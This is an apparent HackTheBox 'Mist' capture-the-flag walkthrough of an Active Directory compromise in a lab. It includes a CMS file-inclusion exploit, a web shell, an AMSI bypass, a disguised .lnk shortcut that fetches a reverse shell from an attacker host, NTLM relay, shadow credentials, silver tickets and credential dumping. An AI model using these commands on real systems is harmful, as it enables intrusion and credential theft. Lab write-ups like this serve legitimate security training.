# HTB - Mist

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2F3aBdEiwQ2gUzunMm0m1k%2F2c23f1a93e7fb7f5006479e2354e2da4.png?alt=media&#x26;token=4a147074-a729-4b79-a1b2-102ab6c40975" alt=""><figcaption></figcaption></figure>

## Description

Mist is an Insane-difficulty machine that provides a comprehensive scenario for exploiting various misconfigurations and vulnerabilities in an Active Directory (AD) environment. The machine has multiple layers, starting with a public-facing CMS running on Apache with a path traversal vulnerability, allowing us to retrieve a backup file containing hashed credentials. Cracking this hash grants initial access as a low-privileged web user. Exploiting file-write permissions on a shared directory further elevates our access by allowing a reverse shell connection as another domain user. From there, enumeration reveals several AD misconfigurations, including LDAP signing disabled, WebDAV exploitation, and misconfigurations in ADCS templates, each step designed to escalate privileges through different AD entities. The final exploit involves creating shadow credentials to acquire the machine account’s NTLM hash, enabling a `DCSync` attack to obtain the Domain Administrator hash.

## Enumeration

**Nmap Scan**

```bash
nmap -p- --min-rate 10000 $ip -Pn -oN Nmap/10000-port-scan

PORT   STATE SERVICE
80/tcp open  http

nmap -sCV -p80 $ip -Pn -oN Nmap/Script-scan

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
```

**HTTP**

http://10.10.11.17?file=mist

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FCS1GMnTcODOqomPcCoVP%2F490c5e2959ae6dc9e6f420d9d5892ec2.png?alt=media&#x26;token=eeae51bc-8543-49a9-9bc2-60a5509df18c" alt=""><figcaption></figcaption></figure>

When clicking `admin` word, I was redirected to this login page

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FxcLmI9S4WAU0bVLeHyAx%2Fca69bc1bf347a7f549f1098189b4319a.png?alt=media&#x26;token=46b04ec7-f44e-46ee-bf60-f85befa70484" alt=""><figcaption></figcaption></figure>

The version of `pluck` is `4.7.18`. A quick search of the version in `exploit-db` the site leads to this CVE, but I don't have the admin password yet.

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FIJRUFIJv0R1TdMtGtljA%2Fab17a733b35da508f236b86d6f6dfec0.png?alt=media&#x26;token=f854fdc5-5ec0-454d-84b6-2670299cc5be" alt=""><figcaption></figcaption></figure>

After deep searching for other `pluck` CVEs, I found unauthenticated `LFI`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FmdIVWum7QVz9AfcrfFgq%2F3f2816e45c7f1fd237b622920ad18fc7.png?alt=media&#x26;token=f48ad93d-1231-4f45-a026-fa9b961c45ac" alt=""><figcaption></figcaption></figure>

Vulnerability Details

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FYp1pXJpyQW3TQjni39bx%2Fac30ca9672ca0668f3e7fdfc64ebd022.png?alt=media&#x26;token=ceb45f25-04e5-4633-b297-56593a1425a2" alt=""><figcaption></figcaption></figure>

Following this [post](https://m3n0sd0n4ld.github.io/patoHackventuras/cve-2024-9405) , I have to look under `/data/settings/modules/albums` folder, and I found `admin_backup.php`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FsAm2bcOG9jQLImFVoo3N%2F5aee8e5ba6807a08b451a13ee83b0b9e.png?alt=media&#x26;token=e1df6683-e824-4568-a6c3-9a4b6afb320b" alt=""><figcaption></figcaption></figure>

When I included `admin_backup.php`, I got a hash, so I will try to crack it

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FwIYhUJsM4bookRrD0j7L%2F3ddcee5c22ce32e0cd802b03be5a7c93.png?alt=media&#x26;token=f6007dbb-2549-437b-a4ae-fc6d2e82dfbd" alt=""><figcaption></figcaption></figure>

On https://crackstation.net/, I was able to crack it

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FAvx0y07ojOiLGZZGGiRx%2F59870c598bb9ea6461ced28a897407e3.png?alt=media&#x26;token=3d4efe7a-955a-4284-afc6-0a2babf992e3" alt=""><figcaption></figcaption></figure>

## Initial Access

When I used the cracked password to log in as admin, I was redirected to the admin portal

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FZR4R97T6CAB9WhKxv4H3%2F5305f65a7ddee76cfcd909b808ed9120.png?alt=media&#x26;token=a48ab778-fbe2-485e-b442-4908aa9c2cde" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FMOk44KA91qNQeyxIl5Or%2Feb770f9e6ab90834bfe3b58e0332c546.png?alt=media&#x26;token=93831507-1471-41fa-8bee-dcb73f45dbb5" alt=""><figcaption></figcaption></figure>

> Now with the admin password, I can get `RCE` via the CVE we found before

I read the exploit and decided to perform it manually rather than using the `poc`.

First, Go to `http://10.10.11.17/admin.php?action=installmodule`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FHMRhavr2XBwyUzSbkE3o%2Fe9bf36a648b2af80672ffe08b1176e79.png?alt=media&#x26;token=92caaa0d-c8ef-4138-bc7f-760ffe78d857" alt=""><figcaption></figcaption></figure>

Second, create a zip file containing `php` a shell. I will use [P0wny Shell](https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php) and upload it

```bash
zip module.zip p0wny.php
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FyAhbmhpRaVZfXVXJLGZc%2F006a6436849134212544b5bce70a459e.png?alt=media&#x26;token=fb2f582e-b513-4d67-ae56-3e21b874c0d3" alt=""><figcaption></figcaption></figure>

Finally, access the webshell at `http://10.10.11.17/data/modules/module/p0wny.php`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FUcGs4L0imImDqFbJ9tBr%2Fb63f345fe8153efc1204a759d908a4f2.png?alt=media&#x26;token=a2b8ef94-8496-4387-90a6-0f5496012223" alt=""><figcaption></figcaption></figure>

I will upgrade my shell with [PowerJoker](https://github.com/Adkali/PowerJoker) to get more flexibility because the installed modules don't persist. Maybe there is a script in the background removing them.

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FqOZ9GHkNWFFdL3K3JBD8%2F6bebc97342106dc00d3e46f8b5c79d67.png?alt=media&#x26;token=f6e60d96-3882-40ea-86ce-9e879e9ba900" alt=""><figcaption></figcaption></figure>

## Lateral Movement

Looking for internal ports, there are RPC, SMB, and WinRM. That confirms there is firewall rules that prevent most inbound connections to `MS01`

```powershell
JokerShell C:\xampp\htdocs\data> netstat -ano | findstr TCP
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       2412
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       852
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       2412
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  ..snip..
```

Looking at IP configuration, I found that `MS01` has a different IP `192.168.100.101` with hostname of `ms01.mist.htb`

```powershell
JokerShell C:\> ipconfig

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.100.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.100.100

JokerShell C:\> nslookup ms01

DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  192.168.100.100

Name:    ms01.mist.htb
Address:  192.168.100.101
```

I also wanted to check AV status, So I executed this command `Get-MpComputerStatus` and found that it's already running on the box

```powershell
JokerShell C:\Users\svc_web> Get-MpComputerStatus


AMEngineVersion                  : 1.1.24020.9
AMProductVersion                 : 4.18.24020.7
AMRunningMode                    : Normal
AMServiceEnabled                 : True
AMServiceVersion                 : 4.18.24020.7
AntispywareEnabled               : True
AntispywareSignatureAge          : 378
AntispywareSignatureLastUpdated  : 3/26/2024 4:22:59 AM
AntispywareSignatureVersion      : 1.407.725.0
AntivirusEnabled                 : True
AntivirusSignatureAge            : 378
AntivirusSignatureLastUpdated    : 3/26/2024 4:22:59 AM
AntivirusSignatureVersion        : 1.407.725.0
BehaviorMonitorEnabled           : True
```

I want to find possible escalation path on `ms01`, so I uploaded `winpeas.ps1` and `PowerUp.ps1` to the box but since AV is enabled, I had to bypass `AMSI` first.

I created a `bypass.ps1` containing common AMSI bypass (patching `amsiScanBuffer`), Then load the `PowerUp.ps1` script

```powershell
iex(iwr -UseBasicParsing 10.10.16.4/bypass.ps1)
iex(iwr -UseBasicParsing 10.10.16.4/PowerUp.ps1); Invoke-AllChecks
```

Unfortunately, I didn't find any exploitation path with `PowerUp` tool but under `C:\` There is an uncommon folder

```powershell
JokerShell C:\> ls

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/10/2024   1:50 AM                Common Applications
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         2/20/2024   5:44 AM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-r---         2/21/2024  12:37 PM                Users
d-----         3/26/2024  12:02 PM                Windows
d-----         3/10/2024   3:21 AM                xampp

JokerShell C:\Common Applications> dir

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/8/2021   1:15 AM           1118 Calculator.lnk
-a----          5/7/2021   3:14 PM           1175 Notepad.lnk
-a----          5/7/2021   3:15 PM           1171 Wordpad.lnk     
```

They are `.lnk` files to execute common programs on the system.

```powershell
JokerShell C:\Common Applications> type Calculator.lnk
L?F?)@%SystemRoot%\system32\shell32.dll,-22531%windir%\system32\win32calc.exef  ?-1SPS??XF?L8C???&?m?-1SPSU(L?y?9K????-????%windir%\system32\win32calc.exe%windir%\system32\win32calc.exe
```

What if I can overwrite one of them and add a path to execute a reverse shell when one uses it??. First, I need to check my permission over this folder

```powershell
JokerShell C:\> icacls 'Common Applications'
Common Applications NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                    MS01\Administrator:(OI)(CI)(F)
                    BUILTIN\Administrators:(OI)(CI)(F)
                    BUILTIN\Users:(OI)(CI)(RX,W)
```

From the output above, The `BUILTIN\Users` has write access on the folder`(RX,W)`.

On my Windows host, I create a new shortcut

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FnyOE2D0dVhIg3pddKdfH%2F6e235be53ec1732030809f8e481ace3b.png?alt=media&#x26;token=3de6b88d-1ec6-49bf-b216-9ae8bdb8f0af" alt=""><figcaption></figcaption></figure>

On the target field, I put this payload, and inside `rev.ps1` It is an encoded reverse shell

```powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c iex(iwr -UseBasicParsing 10.10.16.4/rev.ps1)
```

Also, I changed the icon to match `Calculator` icon from `C:\Windows\System32\calc.exe` to make things as real and tricky as possible

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FwvRPsPZIp7wbWRyfnSjh%2F476a0252b8eb3a8f91344e8050652433.png?alt=media&#x26;token=8e6d70e3-d2ce-47b6-bd79-a09a12b1496e" alt=""><figcaption></figcaption></figure>

Now, I will upload it to the box

```powershell
iwr 10.10.16.4/Calculator.lnk -outfile .\Calculator.lnk
```

After a short time (1-2 mins), I got a shell as `brandon.keywarp`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FA30SOscOOTGjg0z12t6y%2Faab6141a59d5da02f8764fd89c04a8a7.png?alt=media&#x26;token=982055ef-9502-4954-8920-9299986deaa7" alt=""><figcaption></figcaption></figure>

The user is indeed a domain user and it has a profile folder beside other users, too

```powershell
JokerShell C:\> whoami /all

USER INFORMATION
----------------

User Name            SID                                           
==================== ==============================================
mist\brandon.keywarp S-1-5-21-1045809509-3006658589-2426055941-1110

JokerShell C:\Users> dir

    Directory: C:\Users

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          4/8/2025   1:00 PM                Administrator
d-----         2/20/2024   6:02 AM                Administrator.MIST
d-----          4/8/2025   1:00 PM                Brandon.Keywarp
d-r---         2/20/2024   5:44 AM                Public
d-----         2/20/2024   9:39 AM                Sharon.Mullard
d-----          4/8/2025  12:59 PM                svc_web
```

I can guess that `Sharon.Mullard` is a domain user, too.

At this point, with a domain user, I have to pivot to enumerate the domain controller with [ligolo-ng](https://github.com/nicocha30/ligolo-ng)

```bash
./proxy -selfcert // On Linux Attack Host
```

In a Windows box (`MS01`), Run:

```powershell
JokerShell C:\xampp\htdocs> iwr 10.10.16.4/agent.exe -outfile .\agent.exe
JokerShell C:\xampp\htdocs> Start-Process agent.exe -ArgumentList "-connect 10.10.16.4:11601 -ignore-cert"
```

> Make sure you're in `C:\xampp\htdocs` because it's excluded from defender

After pivoting, I can run `Nmap` and see the results:

```bash
nmap -iL ip.txt -F -Pn 

Nmap scan report for 192.168.100.100

PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos-sec
135/tcp open  msrpc
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds

Nmap scan report for 192.168.100.101

PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
```

Looking for Remote management ports, I found WinRM is running on the two hosts

```bash
nmap -iL ip.txt -p5985,3389,5986 --open 

Nmap scan report for 192.168.100.100

PORT     STATE SERVICE
5985/tcp open  wsman

Nmap scan report for 192.168.100.101

PORT     STATE SERVICE
5985/tcp open  wsman
```

Script scan for the DC

```bash
nmap -sCV -p53,88,135,139,389,445,5985 192.168.100.100 -oN Nmap/dc-scan

Nmap scan report for 192.168.100.100

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-08 20:46:19Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mist.htb0., Site: Default-First-Site-Name)
| Subject Alternative Name: DNS:DC01.mist.htb
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

I will add the two machines to my `/etc/hosts` file

```bash
echo '192.168.100.100 dc01 dc01.mist.htb mist.htb' | sudo tee -a /etc/hosts
echo '192.168.100.101 ms01 ms01.mist.htb' | sudo tee -a /etc/hosts
```

My next move is to enumerate both the shared folders and the domain `acls` With Bloodhound, so I will upload `SharpHound.exe` to the host and begin the collection

I still couldn't access shared folders with no credentials

```bash
nxc smb ip.txt -u 'guest' -p '' --shares

SMB         192.168.100.100 445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
SMB         192.168.100.101 445    MS01             [-] mist.htb\guest: STATUS_ACCOUNT_DISABLED 
SMB         192.168.100.100 445    DC01             [-] mist.htb\guest: STATUS_ACCOUNT_DISABLED 

nxc smb ip.txt -u '' -p '' --shares 

SMB         192.168.100.100 445    DC01             [+] mist.htb\: 
SMB         192.168.100.100 445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB         192.168.100.101 445    MS01             [-] mist.htb\: STATUS_ACCESS_DENIED
```

## Privilege Escalation (MS01)

I didn't find anything that can be useful till now, So there is an attack I have to try (`NTLM Relay over LDAP using WebDav)` And this post is useful for performing the attacks: [Post](https://www.hackingarticles.in/lateral-movement-webclient-workstation-takeover/)

* I already know what to do, So I will proceed directly with these steps:
  1. check if `webdav` is running
  2. If `webdav` is not running, try to enable it
  3. Using any coercion method (`printerbug`, `PetitPotam`, coercer, etc) to force the machine to authenticate to my host
  4. Set up a relay agent on my host to relay the authentication coming from HTTP (`WebDav`) to `LDAP` and perform `RBCD` or `Shadow Credential` Attack

Performing `RBCD` depending on having account with `SPN` or ability to create a machine account, but `Shadow Credentials` depends on `PKINIT` authentication (usually when `ADCS` is installed)

When I enumerated the domain to see if I can add computer account or not, I found the value of `ms-ds-machineaccountquota` zero, So I can't do it.

```powershell
JokerShell C:\xampp\htdocs> Get-DomainObject -Identity "DC=mist,DC=htb" -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                        0
```

When I enumerated the domain to see if I can add computer account or not, I found `msds-keycredentiallink` contains a value, So `Shadow Credential` attack is possible.

```powershell
JokerShell C:\xampp\htdocs> Get-DomainObject -Identity MS01 -Properties msds-keycredentiallink

msds-keycredentiallink
----------------------                                                                                                 
B:828:0002000020000119F0F375256AB2B1C4FC2BDFEFAD0D21AA3D5C36890AED2D7F6FE4F3DAB2C9A62000020F090A50EB5AEE1B926A4341..snip..
```

Now, Let's deal with `WebDav`, I downloaded `SharpWebClientScanner.exe` to query the its status but I didn't find it to be running on any host, So I have to enable it manually.

```powershell
JokerShell C:\xampp\htdocs> .\SharpWebClientScanner.exe --domain mist.htb

??????????????????????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????????????????????
                                                                              By Mor David

[x] Unable to reach DAV pipe on MS01, system is either unreachable or does not have WebClient service running
[x] Unable to reach DAV pipe on DC01, system is either unreachable or does not have WebClient service running
[x] Unable to reach DAV pipe on svc_ca, system is either unreachable or does not have WebClient service running
```

I will use this [Tool](https://gist.githubusercontent.com/klezVirus/af004842a73779e1d03d47e041115797/raw/29747c92ca04c844223d1ef6c1463d7e34e271ee/EtwStartWebClient.cs) to enable it from Windows

```bash
sudo apt install mono-compelete
mcs EtwStartWebClient.cs -out:EtwStartWebClient.exe /unsafe
iwr 10.10.16.4:8000/EtwStartWebClient.exe -o .\EtwStartWebClient.exe
```

Verify with `SharpWebScanner`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FEZxar870pICI5mJySnVB%2F9bf6bdf132216bd70c43eb1ae74c0143.png?alt=media&#x26;token=0e5db42d-810a-4190-adf5-9baf1e72c40b" alt=""><figcaption></figcaption></figure>

Then, execute the tool windows

```powershell
JokerShell C:\xampp\htdocs> .\EtwStartWebClient.exe
[+] WebClient Service started successfully
```

Now, I need to use the coerce method, but I need credentials for it. I only have a shell with a domain user `brandon.keywarp` But with no password or hash.

There is one way to get the hash of the user using `ADCS` templates to request a certificate for the user and get their NT hash from it.

First, Upload [Certify](https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.5_Any/Certify.exe) to the machine and request a certificate for the current user

```powershell
.\Certify.exe request /template:User /ca:DC01\mist-DC01-CA
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FNvSxe0jFzrCacB4G9q3T%2F61206556a42558fa9289d4810bdef3ee.png?alt=media&#x26;token=f08d7fb2-6820-4c9c-8218-5fe75b354b0a" alt=""><figcaption></figcaption></figure>

Copy the `cert.pem` (private key & Certificate) , then use this command

```bash
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

With `Certipy`, I can authenticate to the domain and get the hash

```bash
certipy-ad auth -pfx cert.pfx -domain mist.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: brandon.keywarp@mist.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'brandon.keywarp.ccache'
[*] Trying to retrieve NT hash for 'brandon.keywarp'
[*] Got hash for 'brandon.keywarp@mist.htb': aad3b435b51404eeaad3b435b51404ee:db03d6a77a2205bc1xxxxxxxxxxx
```

For WebDav to function, It needs the hostname to connect to, but my host isn't accessible from the internal network, so I will add a port forwarding rule so that any connection that comes to `ms01` . `8888` is forwarded to me at `80`

```
[Agent : MIST\Brandon.Keywarp@MS01] » listener_add --addr 0.0.0.0:8888 --to 0.0.0.0:80 --tcp
INFO[8701] Listener 0 created on remote agent! 
```

Since we found before that `MS01$` has `keyCredentialLink` value, we need a tool to clear it and add a new one, and this is included in this version of `ntlmrelayx.py` After adding a new feature in this [pull request](https://github.com/fortra/impacket/pull/1402).

```bash
git clone https://github.com/fortra/impacket/ && cd impacket; git fetch origin pull/1402/head:mist && git checkout mist; 

python -m venv . && source ./bin/activate; pip install . && pip install -r requirements.txt && pip install pyOpenSSL==24.0.0 && pip install setuptools
```

Execute the attack

```bash
python3 PetitPotam.py -u 'brandon.keywarp' -hashes :db03d6a77a2205bc1d07082740626cc9 MS01@8888/files 192.168.100.101

sudo ntlmrelayx.py -debug -t ldaps://192.168.100.100 -i -smb2support -domain mist.htb
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2Ft9thpRyWdpDYSOA6gGN3%2Fb8a032a6b53486b5e21b680e97002909.png?alt=media&#x26;token=af9b17b0-5fc7-4ed9-8273-af4508950bde" alt=""><figcaption></figcaption></figure>

```bash
nc localhost 11000

$ clear_shadow_creds ms01$
$ set_shadow_creds ms01$
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FEvQzm4JUn2b6BidxtVB2%2F5f22756e53c71fdba8a2d0a571965038.png?alt=media&#x26;token=380d7ac6-19dd-4920-8459-78ca2ff33013" alt=""><figcaption></figcaption></figure>

Get a sutiable cert to be used with `certipy`

```bash
cert -export -pfx /home/kali/vault/Hacking/Mist/impacket/e1LybMof.pfx  -password 'y5hd2VIzZgXcGREYy0uJ' -out cert.pfx

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'cert.pfx'
```

Authenticate to the DC using the certificate and get NT hash of the computer account.

```bash
certipy-ad auth -pfx cert.pfx -domain mist.htb -username 'MS01$' -dc-ip 192.168.100.100 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: ms01$@mist.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ms01.ccache'
[*] Trying to retrieve NT hash for 'ms01$'
[*] Got hash for 'ms01$@mist.htb': aad3b435b51404eeaad3b435b51404ee:17749fa7409ac85c4zzzzzzzzzzzz
```

With the computer account hash, I can create a Silver ticket to access the file system as an administrator

```bash
impacket-ticketer -nthash 17749fa7409ac85c4zzzzzzzzzzzz -domain mist.htb -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -spn cifs/ms01.mist.htb Administrator

export KR5CCNAME=`pwd`/Administrator.ccache
```

Access the machine as an administrator

```bash
impacket-wmiexec -k -no-pass MS01.MIST.HTB  

[*] SMBv3.0 dialect used

C:\>whoami
mist.htb\administrator
```

I will dump SAM to save my progress

```bash
impacket-secretsdump -no-pass -k ms01.mist.htb

[*] Target system bootKey: 0xe3a142f26a6e42446aa8a55e39cbcd86
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c40xxxxxxxx:::
svc_web:1000:aad3b435b51404eeaad3b435b51404ee:76a99f03b1d2656e04c39bxxxxxxxxx:::
```

Connect to the box with a local admin account:

```bash
evil-winrm -i ms01 -u Administrator -H 711e6a685af1c31c402xxxxxxxxxxxx

*Evil-WinRM* PS C:\Users> type Administrator\Desktop\user.txt
```

> User Flag: 0c63be3b856709838ec62a926dbad528

## Privilege Escalation (DC01)

Inside `Sharon.Mullard` folder, there are several files

```powershell
*Evil-WinRM* PS C:\Users\Sharon.Mullard> tree /F

C:.
+---Desktop
+---Documents
¦       sharon.kdbx
¦
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
¦       cats.png
¦       image_20022024.png
```

The file `.kdbx` is certainly `keepass` password manager, So it will be protected by a password.

`Cats.png` has nothing rather than cats images

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2F0RZIlcubzFILziCH4F3V%2F348e2fc57a8ad9493d2d33b70173d502.png?alt=media&#x26;token=edb8dbe2-a7f2-409b-8155-d8b6e6e9a64e" alt=""><figcaption></figcaption></figure>

`image_200222024.png` has something interesting:

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FAMm7e3sCudPISao1Dhxz%2F2a11ebbb79af7528f67cc94f6f4f42b5.png?alt=media&#x26;token=d6451578-24bb-418f-b284-673c96ee97ef" alt=""><figcaption></figcaption></figure>

A string that's been partially hidden and encoded using `base64`

```
UA7cpa[#1!_*ZX
```

I will attempt it against `keepass` hash to crack it but I think I will need to do a brute force attack using `hashcat`. First, get the hash of `keepass` the database

```bash
keepass2john sharon.kdbx > keepass.hash
```

The input in the image was 15 chars and the string I have is 14 chars, So I can only append one `?a` , which means all possible chars in `hashcat`

```bash
hashcat -m 13400 -a 3 keepass.hash 'UA7cpa[#1!_*ZX?a'

..snip..

$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280200793ee67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*6520725ffa21f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a896456680b532162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc:UA7cpa[#1!_xxxxx

Session..........: hashcat
Status...........: Cracked
```

To open `keepass` file from Linux, I used `keepassxc`

```bash
sudo apt install keepassxc
keepassxc sharon.kdbx
```

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FLI73cXrx8Lz6G6VW2LXf%2F62af69184f99243b83d0bc1173eab567.png?alt=media&#x26;token=0221fcb2-a621-424c-8ee7-e1b635d93d85" alt=""><figcaption></figcaption></figure>

Trying the password for all users I don't have yet, and got one user

```bash
nxc ldap dc01 -u users.lst -p 'ImTiredxxxxxxx' 

LDAP        192.168.100.100 389    DC01             [-] mist.htb\Florence.Brown:xxxxxxxxxxxxxxxxx 
LDAP        192.168.100.100 389    DC01             [-] mist.htb\Jonathan.Clinton:xxxxxxxxxxxxxxxxx
LDAP        192.168.100.100 389    DC01             [-] mist.htb\Markus.Roheb:xxxxxxxxxxxxxxxxx 
LDAP        192.168.100.100 389    DC01             [-] mist.htb\Shivangi.Sumpta:xxxxxxxxxxxxxxxxx 
LDAP        192.168.100.100 389    DC01             [-] mist.htb\Harry.Beaucorn:xxxxxxxxxxxxxxxxx( 
LDAP        192.168.100.100 389    DC01             [+] mist.htb\op_Sharon.Mullard:xxxxxxxxxxxxxxxxx
```

Looking At `bloodhound CE`, User `Op_sharon.mullard` is a member of `operatives` group which can `ReadGMSAPassword` of `Svc_CA$`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2FyC05C54DcYfpg6MEhUgX%2Feccf2cc3a880701a4b19031d22014cca.png?alt=media&#x26;token=c99bee50-bbbf-44ab-9287-7bd15121c016" alt=""><figcaption></figcaption></figure>

```bash
┌─[kali@parrot]─[~/HackTheBox/platform/machines/mist]
└──╼ $nxc ldap dc01 -u op_Sharon.Mullard -p 'ImTirxxxxxxxxx' --gmsa

LDAPS  192.168.100.100 636  DC01 [*] Getting GMSA Passwords
LDAPS  192.168.100.100 636  DC01 Account: svc_ca$ NTLM:09814d63c9baxxxxxxxxxxxx
```

`SVC_CA$` can add `KeyCredentialLink` (Shadow Credential) to `svc_cabackup`

<figure><img src="https://2920983414-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFXSUK62ihbxooYaV21LB%2Fuploads%2Fw71RIBIaNtyQ4ocHRlvY%2F2504fbed52da46189ba7198e84548eac.png?alt=media&#x26;token=95e24e0d-1cce-4e8d-b070-1450c19e2510" alt=""><figcaption></figcaption></figure>

```
